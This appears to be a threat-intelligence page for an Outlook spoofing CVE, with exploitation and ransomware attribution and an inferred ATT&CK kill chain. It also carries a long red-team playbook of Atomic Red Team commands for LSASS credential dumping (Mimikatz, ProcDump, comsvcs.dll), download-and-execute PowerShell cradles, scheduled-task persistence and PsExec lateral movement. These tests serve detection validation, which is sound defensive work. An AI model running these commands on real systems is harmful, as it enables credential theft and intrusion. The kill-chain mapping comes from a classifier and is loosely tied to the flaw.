CVE-2026-124194

MEDIUM CISA KEV POC Pub 10/11 Upd 11/11

Overview

This vulnerability is a spoofing issue rooted in insufficient user interface safeguards within Microsoft Office Outlook, a component of Microsoft 365 Apps for Enterprise. The product's UI fails to adequately warn users before executing unsafe actions, enabling unauthorized actors to manipulate displayed sender information over network communications. The core technical flaw lies in the lack of effective validation or alert mechanisms that would otherwise prevent deceptive message presentation.

Vulnerability Description

Product ui does not warn user of unsafe actions in Microsoft Office Outlook allows an unauthorized attacker to perform spoofing over a network.

Impact

An attacker can impersonate trusted entities by spoofing sender information in Outlook messages, potentially deceiving users into executing unsafe actions or divulging sensitive information. This attack requires no authentication but does require user interaction to trigger the spoofed message display. The consequence includes social engineering exploitation leading to data compromise, phishing, or unauthorized network access within an enterprise environment, undermining trust in email communications.

Solution

Microsoft has released an update addressing this vulnerability in Microsoft 365 Apps for Enterprise as detailed in the Microsoft Security Response Center advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-124194. Administrators should apply the latest patches provided in this advisory to affected versions. No specific workaround is noted; applying the vendor-supplied update is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (6)

Vendor Product Version CPE
microsoft Microsoft 365 Apps N/A cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*
microsoft Microsoft 365 Apps N/A cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*
microsoft Microsoft Office 2021 N/A cpe:2.3:a:microsoft:office_2021:-:*:*:*:ltsc:-:x64:*
microsoft Microsoft Office 2021 N/A cpe:2.3:a:microsoft:office_2021:-:*:*:*:ltsc:-:x86:*
microsoft Microsoft Office 2024 N/A cpe:2.3:a:microsoft:office_2024:-:*:*:*:ltsc:-:x64:*
microsoft Microsoft Office 2024 N/A cpe:2.3:a:microsoft:office_2024:-:*:*:*:ltsc:-:x86:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
AmesianX/CVE-2026-124194-poc
CVE-2026-124194 PoC - Outlook spoofing/forced-authentication NTLM leak (patched 2026-11). Concept proof only, untested a...
 AmesianX 0 0 2026-11-11 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest VERY HIGH
Sightings Considerable activity

Ransomware Groups 2

bianlian
CORRELATED
552 victims
correlation_ai
2026-11-10
blackbasta
CORRELATED
523 victims
correlation_ai
2026-11-10

Threat Feed

12 events
2026-11-11
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-11-11
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-11-10
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-11-10
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-11-10
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-11-10
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-11-10
Exploited by thegentlemen

Ransomware group known to exploit this vulnerability. Tools: ADFind, AnyDesk, BloodHound, Censys, CertiHound (1006 known victims)

2026-11-10
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-11-10
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-11-10
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-11-10
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

Detected as Exploited in the Wild (70 sightings)

Active exploitation confirmed with 70 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
69% auth_bypass
Authorization Bypass
40% authz_bypass

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

79 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1053.005 Import XML Schedule Task with Hidden Attribute Windows PowerShell Privileged
Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1053.005 PowerShell Modify A Scheduled Task Windows PowerShell
Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified...
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
T1053.005 Powershell Cmdlet Scheduled Task Windows PowerShell
Create an atomic scheduled task that leverages native powershell cmdlets. Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (PowerShell) 
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
T1053.005 Scheduled Task ("Ghost Task") via Registry Key Manipulation Windows CMD Privileged
Create a scheduled task through manipulation of registry keys. This procedure is implemented using the [GhostTask](https://github.com/netero1010/GhostTask) utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree,...
Command (CMD) 
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
T1053.005 Scheduled Task Executing Base64 Encoded Commands From Registry Windows CMD
A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot. ...
Command (CMD) 
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
T1053.005 Scheduled Task Persistence via CompMgmt.msc Windows CMD Privileged
Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
T1053.005 Scheduled Task Persistence via Eventviewer.msc Windows CMD Privileged
Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).
Command (CMD) 
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1053.005 Scheduled Task Startup Script Windows CMD Privileged
Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.
Command (CMD) 
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
T1053.005 Scheduled task Local Windows CMD
Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
Command (CMD) 
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
T1053.005 Scheduled task Remote Windows CMD Privileged
Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.
Command (CMD) 
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
T1053.005 Task Scheduler via VBA Windows PowerShell
This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing) 
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
T1053.005 Turla KopiLuwak Scheduled Task for JavaScript Stager Windows CMD Privileged
Emulates the KopiLuwak dropper's scheduled task creation stage. Creates a logon-triggered scheduled task named ProactiveScan with description "NTFS Volume Health Scan" that runs Chkdsk.js from the current user's AppData\Roaming\Microsoft directory with an RC4 decryption key...
Command (CMD) 
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
T1053.005 Turla Topinambour Dropper and Scheduled Task Persistence Windows PowerShell
Emulates the dropper behavior of Turla's Topinambour. Uses inline C# compiled via Add-Type to replicate the dropper's unpack_p() and make_some_noise() functions. unpack_p() drops a benign stand-in executable to %LOCALAPPDATA%\VirtualStore\certcheck.exe, and make_some_noise()...
Command (PowerShell) 
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;

public class TopinambourDropper {
    public static void unpack_p(string sourceExe) {
        string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
        Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
        File.Copy(sourceExe, dropPath, true);
    }

    public static void make_some_noise() {
        ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %%localappdata%%\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
        {
            CreateNoWindow = true,
            UseShellExecute = false
        };
        Process.Start(startInfo).WaitForExit();
    }
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
T1053.005 WMI Invoke-CimMethod Scheduled Task Windows PowerShell Privileged
Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.
Command (PowerShell) 
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows PowerShell Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell) 
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
